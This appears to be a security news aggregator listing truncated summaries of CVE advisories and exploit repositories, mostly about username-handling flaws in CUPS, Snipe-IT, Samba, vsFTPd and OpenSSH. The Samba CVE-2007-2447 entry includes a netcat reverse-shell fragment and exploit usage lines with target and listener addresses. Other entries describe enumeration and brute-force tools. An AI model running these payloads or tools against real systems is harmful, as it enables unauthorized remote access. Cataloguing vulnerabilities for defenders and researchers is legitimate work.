EUVD-2026-75089

Two case-insensitive comparisons on request-derived usernames outside the main authorization path in CUPS's scheduler printer ACL validation and private-attribute filtering could allow bypass of username-based access controls in certain configurations...

CVE-2026-87876 Cups: openprinting cups: remaining case-insensitive username matching in scheduler side paths (cve-2026-27447 follow-up)

Two case-insensitive comparisons on request-derived usernames outside the main authorization path in CUPS's scheduler printer ACL validation and private-attribute filtering could allow bypass of username-based access controls in certain configurations...

CVE-2026-87876

Two case-insensitive comparisons on request-derived usernames outside the main authorization path in CUPS's scheduler printer ACL validation and private-attribute filtering could allow bypass of username-based access controls in certain configurations. Mitigation Fixed on upstream master branch...

CVE-2026-24061

Docker Telnet Auto-Login Lab A lightweight Docker lab for experimenting with Telnet protocol negotiation , explained in the CVE-2026-24061 exploit, which contains automatic username injection using the NEW-ENVIRON option. This project creates an isolated client–server environment to study how...

CVE-2026-86770

Snipe-IT before 8.7.0 fails to validate username case sensitivity during SAML authentication. Due to the default utf8mb4_unicode_ci database collation, an attacker who registers IdP accounts with accent or case variants of a victim's username can bypass username matching and achieve account takeo...

CVE-2026-86770 Snipe-IT before 8.7.0 Authentication Bypass via SAML Username Collation

Snipe-IT before 8.7.0 fails to validate username case sensitivity during SAML authentication, allowing attackers to authenticate as different users by registering IdP accounts with accent or case variants of victim usernames. Attackers can exploit the default utf8mb4unicodeci database collation t...

EUVD-2026-74947

Snipe-IT before 8.7.0 fails to validate username case sensitivity during SAML authentication, allowing attackers to authenticate as different users by registering IdP accounts with accent or case variants of victim usernames. Attackers can exploit the default utf8mb4unicodeci database collation t...

smb-usermap

Samba "username map script" Ejecución de comandos Este módulo explota una vulnerabilidad de ejecución de comandos en las versiones de Samba 3.0.20 hasta 3.0.25rc3 cuando se utiliza la opción de configuración no predeterminada "username map script". Al especificar un nombre de usuario que contenga...

CVE-2025-24011-PoC

Prueba de concepto para CVE-2025-24011 basada en https://github.com/advisories/GHSA-hmg4-wwm5-p999 Esta herramienta ha sido probada en Umbraco versión 15.1.1 y 13.7.2 en Ubuntu 24.04.2 LTS Los nombres de usuario en Umbraco son según entiendo correos electrónicos. Esta herramienta acepta una lista...

exploit_cve-2007-2447_again

exploitcve-2007-2447again just remeber how small mistake in santisize username could give yoy root access to the full machine...

OffensivePascal-CVE-2011-2523

CVE-2011-2523 Implementación en FreePascal de CVE-2011-2523 Vulnerabilidad vsFTPD 2.3.4 Usar : en el nombre de usuario abre una puerta trasera como root en el puerto 6200 en el objetivo Requisitos Synapse. Si no lo tienes, instálalo a través del OPM...

CVE-2018-15473-exp

CVE-2018-15473-exp This is an exp for CVE-2018-15473 I feel that the username enumeration for openssh 7.7 is quite common, so I wrote an exp that can call poc and exploit it with a dictionary. The poc is written in python2.7, and openssh.py is written in python3; pay attention when calling them...

PyUsernameMapScriptRCE

PyUsernameMapScriptRCE Exploit de CVE-2007-2447 escrito en Python para obtener una reverse shell...

SSHUsernameBruter-SSHUB

SSHUsernameBruter SSHUB Script totalmente funcional para realizar ataques de fuerza bruta contra una lista o nombres de usuario proporcionados en servidores OpenSSH vulnerables, con la opción de probar usuario/usuario como credenciales de inicio de sesión - CVE-2018-15473...

CVE-2024-57522

CVE-2024-57522 - Vulnerabilidad de XSS Almacenado en Users.php - SourceCodester Packers and Movers Management System 1.0 Descripción Este repositorio contiene una Prueba de Concepto PoC para una vulnerabilidad de Cross-Site Scripting XSS Almacenado en el Packers and Movers Management System 1.0 d...

Samba-Exploit-CVE-2007-2447

🎬 Este vídeo de YouTube 1️⃣ Escaneo del objetivo Nmap root@kitploit: nmap -sS -sV -p 139,445 192.168.56.102 Resultado esperado: 139/tcp open netbios-ssn Samba smbd 3.X 445/tcp open microsoft-ds Samba smbd 3.0.20-Debian 👉 Versión de Samba: 3.0.20 Es vulnerable a CVE-2007-2447. 2️⃣ Detección del...

CVE-2018-15473-User-Enumeration-

CVE-2018-15473 – SSH Username Enumeration A Python tool developed by me to identify valid SSH usernames by exploiting CVE-2018-15473. Target Information Service: SSH Version: OpenSSH 5.8p1 Debian 1ubuntu3 Operating System: Ubuntu Linux Protocol: SSH-2.0 Assessment: Tested for CVE-2018-15473 SSH...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Uso root@kitploit: Explotar objetivo 10.129.232.46 en el puerto 445, enviar reverse shell a 10.10.14.82 en el puerto 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 Con rport y lport personalizados python3...

vsFTPd-2.3.4-Exploit

vsFTPd 2.3.4 Exploit Python Proof of Concept for the vsFTPd 2.3.4 backdoor — CVE-2011-2523 Description vsFTPd Very Secure FTP Daemon is an FTP server commonly used on Unix-like systems. The vsFTPd 2.3.4 release distributed in 2011 was compromised with a malicious backdoor. This was not a normal...

CVE-2016-6210

CVE-2016-6210 Enumeración de nombres de usuario contra demonios SSH afectados por CVE-2016-6210. ¡Úsalo solo contra tus propios hosts! ¡Atacar cosas que no tienes permitido puede meterte en serios problemas! INSTALACIÓN Clonar el repositorio: root@kitploit: git clone...